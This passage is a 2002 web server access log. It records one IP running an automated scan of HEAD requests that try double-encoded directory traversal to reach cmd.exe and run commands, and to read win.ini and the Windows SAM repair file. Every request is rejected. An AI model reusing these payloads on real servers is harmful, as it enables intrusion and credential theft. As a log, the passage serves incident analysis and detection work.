/_mem_bin/..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:27 +0300] "HEAD /_mem_bin/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:28 +0300] "HEAD /_mem_bin/..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:29 +0300] "HEAD /_mem_bin/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:30 +0300] "HEAD /_mem_bin/..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:30 +0300] "HEAD /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:30 +0300] "HEAD /_mem_bin/..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:30 +0300] "HEAD /_mem_bin/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:30 +0300] "HEAD /_mem_bin/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:30 +0300] "HEAD /_mem_bin/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:30 +0300] "HEAD /_mem_bin/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:30 +0300] "HEAD /_vti_bin/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:30 +0300] "HEAD /_vti_bin/..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:30 +0300] "HEAD /_vti_bin/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:30 +0300] "HEAD /_vti_bin/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:30 +0300] "HEAD /_vti_bin/..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:31 +0300] "HEAD /_vti_bin/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:31 +0300] "HEAD /_vti_bin/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:31 +0300] "HEAD /_vti_bin/..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:31 +0300] "HEAD /_vti_bin/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:31 +0300] "HEAD /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:31 +0300] "HEAD /_vti_bin/..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:32 +0300] "HEAD /_vti_bin/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:32 +0300] "HEAD /_vti_bin/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:32 +0300] "HEAD /_vti_bin/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:32 +0300] "HEAD /_vti_bin/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:32 +0300] "HEAD /_vti_bin/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:32 +0300] "HEAD /_vti_cnf/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:33 +0300] "HEAD /_vti_cnf/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:33 +0300] "HEAD /_vti_cnf/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:33 +0300] "HEAD /_vti_cnf/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:33 +0300] "HEAD /_vti_cnf/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:34 +0300] "HEAD /_vti_cnf/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:34 +0300] "HEAD /_vti_cnf/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:35 +0300] "HEAD /a.asp/..%%35%63../..%%35%63../winnt/win.ini HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:36 +0300] "HEAD /a.asp/..%%35%63../..%%35%63..\winnt\repair\sam._ HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:36 +0300] "HEAD /a.asp/..%%35c../..%%35c../winnt/win.ini HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:37 +0300] "HEAD /a.asp/..%%35c../..%%35c..\winnt\repair\sam._ HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:37 +0300] "HEAD /_vti_cnf/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:37 +0300] "HEAD /a.asp/..%25%35%63../..%25%35%63../winnt/win.ini HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:38 +0300] "HEAD /a.asp/..%25%35%63../..%25%35%63..\winnt\repair\sam._ HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:38 +0300] "HEAD /a.asp/..%255c../..%255c../winnt/win.ini HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:38 +0300] "HEAD /a.asp/..%255c../..%255c..\winnt\repair\sam._ HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:38 +0300] "HEAD /adsamples/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:38 +0300] "HEAD /adsamples/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:38 +0300] "HEAD /adsamples/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:38 +0300] "HEAD /adsamples/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:38 +0300] "HEAD /adsamples/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:39 +0300] "HEAD /adsamples/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:39 +0300] "HEAD /adsamples/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:39 +0300] "HEAD /adsamples/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:39 +0300] "HEAD /bin/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:39 +0300] "HEAD /bin/..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:40 +0300] "HEAD /bin/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:40 +0300] "HEAD /bin/..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:40 +0300] "HEAD /bin/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:40 +0300] "HEAD /bin/..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:40 +0300] "HEAD /bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:40 +0300] "HEAD /bin/..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:41 +0300] "HEAD /bin/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:41 +0300] "HEAD /bin/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:41 +0300] "HEAD /bin/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:41 +0300] "HEAD /bin/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:41 +0300] "HEAD /bin/scripts/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:41 +0300] "HEAD /bin/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:41 +0300] "HEAD /bin/scripts/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:42 +0300] "HEAD /bin/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:42 +0300] "HEAD /bin/scripts/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:42 +0300] "HEAD /bin/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:42 +0300] "HEAD /bin/scripts/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:43 +0300] "HEAD /bin/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:43 +0300] "HEAD /cgi/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:43 +0300] "HEAD /cgi/..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:44 +0300] "HEAD /cgi/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:44 +0300] "HEAD /cgi/..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:44 +0300] "HEAD /cgi/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:44 +0300] "HEAD /cgi/..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:45 +0300] "HEAD /cgi/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:45 +0300] "HEAD /cgi/..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:45 +0300] "HEAD /cgi/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:45 +0300] "HEAD /cgi/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:46 +0300] "HEAD /cgi/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:46 +0300] "HEAD /cgi/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:46 +0300] "HEAD /cgi-bin/..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:46 +0300] "HEAD /cgi-bin/..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:46 +0300] "HEAD /cgi-bin/..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:46 +0300] "HEAD /cgi-bin/..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:47 +0300] "HEAD /cgi-bin/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:47 +0300] "HEAD /cgi-bin/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:47 +0300] "HEAD /cgi-bin/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:47 +0300] "HEAD /cgi-bin/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:47 +0300] "HEAD /exchange/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:48 +0300] "HEAD /exchange/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:48 +0300] "HEAD /exchange/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:49 +0300] "HEAD /msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:49 +0300] "HEAD /msadc/..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:49 +0300] "HEAD /msadc/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:49 +0300] "HEAD /msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:49 +0300] "HEAD /msadc/..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:50 +0300] "HEAD /msadc/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:50 +0300] "HEAD /msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:50 +0300] "HEAD /msadc/..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:51 +0300] "HEAD /msadc/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:51 +0300] "HEAD /msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:51 +0300] "HEAD /exchange/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:51 +0300] "HEAD /exchange/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:51 +0300] "HEAD /exchange/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:51 +0300] "HEAD /msadc/..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:51 +0300] "HEAD /exchange/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:51 +0300] "HEAD /exchange/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:52 +0300] "HEAD /msadc/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:52 +0300] "HEAD /msadc/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:52 +0300] "HEAD /msadc/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:52 +0300] "HEAD /msadc/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:52 +0300] "HEAD /msadc/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:52 +0300] "HEAD /PBServer/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:53 +0300] "HEAD /PBServer/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:53 +0300] "HEAD /PBServer/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:53 +0300] "HEAD /PBServer/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:53 +0300] "HEAD /PBServer/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:53 +0300] "HEAD /PBServer/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:53 +0300] "HEAD /PBServer/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:53 +0300] "HEAD /PBServer/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:54 +0300] "HEAD /PBServer/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:54 +0300] "HEAD /PBServer/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:54 +0300] "HEAD /PBServer/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:54 +0300] "HEAD /Rpc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:54 +0300] "HEAD /Rpc/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:55 +0300] "HEAD /Rpc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:55 +0300] "HEAD /Rpc/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:55 +0300] "HEAD /Rpc/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:55 +0300] "HEAD /Rpc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:55 +0300] "HEAD /Rpc/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:56 +0300] "HEAD /Rpc/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:56 +0300] "HEAD /Rpc/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:56 +0300] "HEAD /Rpc/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:57 +0300] "HEAD /samples/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:57 +0300] "HEAD /samples/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:57 +0300] "HEAD /samples/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:57 +0300] "HEAD /samples/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:57 +0300] "HEAD /samples/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:57 +0300] "HEAD /samples/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:57 +0300] "HEAD /samples/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:57 +0300] "HEAD /samples/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:58 +0300] "HEAD /script/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:58 +0300] "HEAD /script/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:58 +0300] "HEAD /script/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:58 +0300] "HEAD /script/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:58 +0300] "HEAD /scripts/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:58 +0300] "HEAD /Rpc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:58 +0300] "HEAD /scripts/..%%35%63../..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:58 +0300] "HEAD /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:58 +0300] "HEAD /scripts/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:58 +0300] "HEAD /scripts/..%%35c../..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:58 +0300] "HEAD /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:58 +0300] "HEAD /scripts/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:58 +0300] "HEAD /scripts/..%25%35%63../..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:59 +0300] "HEAD /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:59 +0300] "HEAD /scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:59 +0300] "HEAD /scripts/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:59 +0300] "HEAD /scripts/..%255c../..%255c../..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:59 +0300] "HEAD /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:59 +0300] "HEAD /scripts/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c%20dir%20C:\ HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:59 +0300] "HEAD /scripts/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c%20dir%20C:\ HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:59 +0300] "HEAD /scripts/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c%20dir%20C:\ HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:59 +0300] "HEAD /scripts/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c%20dir%20C:\ HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:59 +0300] "HEAD /Rpc/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:11:02 +0300] "HEAD 